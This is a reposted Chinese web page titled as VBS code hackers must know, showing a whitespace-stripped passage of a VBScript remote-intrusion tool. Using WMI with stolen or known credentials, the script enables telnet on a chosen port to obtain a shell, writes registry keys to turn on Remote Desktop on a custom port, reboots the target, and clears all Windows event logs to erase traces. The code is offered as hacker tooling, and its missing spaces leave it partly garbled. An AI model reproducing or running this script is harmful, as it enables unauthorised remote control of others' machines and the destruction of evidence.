黑客必须要知道的几个vbs文件代码
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
| m setobjoutparam=objinstance1.execmethod_("SetDWORDvalue",objinparam) showerror(objoutparam.returnvalue) outstreem.write"Settingport="&port&"...." objinparam.svaluename="TelnetPort" objinparam.uvalue=port setobjoutparam=objinstance1.execmethod_("SetDWORDvalue",objinparam) showerror(objoutparam.returnvalue) intstatus=objinstance.startservice() wscript.echo"TargettelnetserverhasbeenSTARTSuccessfully!" wscript.echo"Now,youcantry:telnet"&ipaddress&""&port&",togetashell." endif next callmain() endfunction ''******************************************************** functionrs() outstreem.write"CheckingTheOSType...." setcolinstoscaption=objswbemservices.execquery("selectcaptionfromwin32_operatingsystem") foreachobjinstoscaptionincolinstoscaption ifinstr(objinstoscaption.caption,"Server")>0then wscript.echo"OK!" else wscript.echo"OK!" wscript.echo"OSTypeis"&objinstoscaption.caption wscript.echo"youcann''topenterminalservices,canceling...."&chr(13)''60 callmain() endif next wscript.echo"pleseentertheport:" port=WScript.StdIn.Readline() ifnotisnumeric(port)orport<1orport>65000then''50 wscript.echo"Thenumberofportiserror." callmain() endif outstreem.write"Writingintoregistry...." setobjinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov") HKLM=&h80000002 withobjinstreg .createkey,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache" .setdwordvalueHKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0''70 .createkeyHKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer" .setdwordvalueHKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1 .setdwordvalueHKLM,"SYSTEM\CurrentControlSet\Control\TerminalServer","TSEnabled",1 .setdwordvalueHKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2 .setdwordvalueHKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2 .setstringvalueHKLM,".DEFAULT\KeyboardLayout\Toggle","Hotkey","1" .setdwordvalueHKLM,"SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp","PortNumber",port endwith showerror(err.number) wscript.echo"Now,youneedtoreboottarget!" wscript.echo"Doyouwanttoreboottargetnow?[y/n]" strcancel=WScript.StdIn.Readline() ifstrcancel="n"then wscript.echo"youneedtoreboottargetthen!!" callmain() else callreboot() endif wscript.echo"Youcanlogonterminalserviceson"&port&"later,Goodluck!" callmain() endFunction ''************************************************************** functionclog() outstreem.write"Clearingalllogs...." strwqlquery="select*fromWin32_NTEventLogFile" setcolinstances=objswbemservices.execquery(strwqlquery,"wql",&h20) foreachobjinstanceincolinstances ifobjinstance.cleareventlog()<>0then wscript.echo"Error!"''100 callmain() endif next wscript.echo"OK!" wscript.echo"AlllogshavebeenclearedSuccessfully!" callmain() endfunction ''*************************************************************** functionshowerror(errornumber) iferrornumberThen wscript.echo"Error0x"&cstr(hex(err.number))&"." iferr.descrip |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn 为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢! |
你可能对下面的文章感兴趣
关于黑客必须要知道的几个vbs文件代码的所有评论
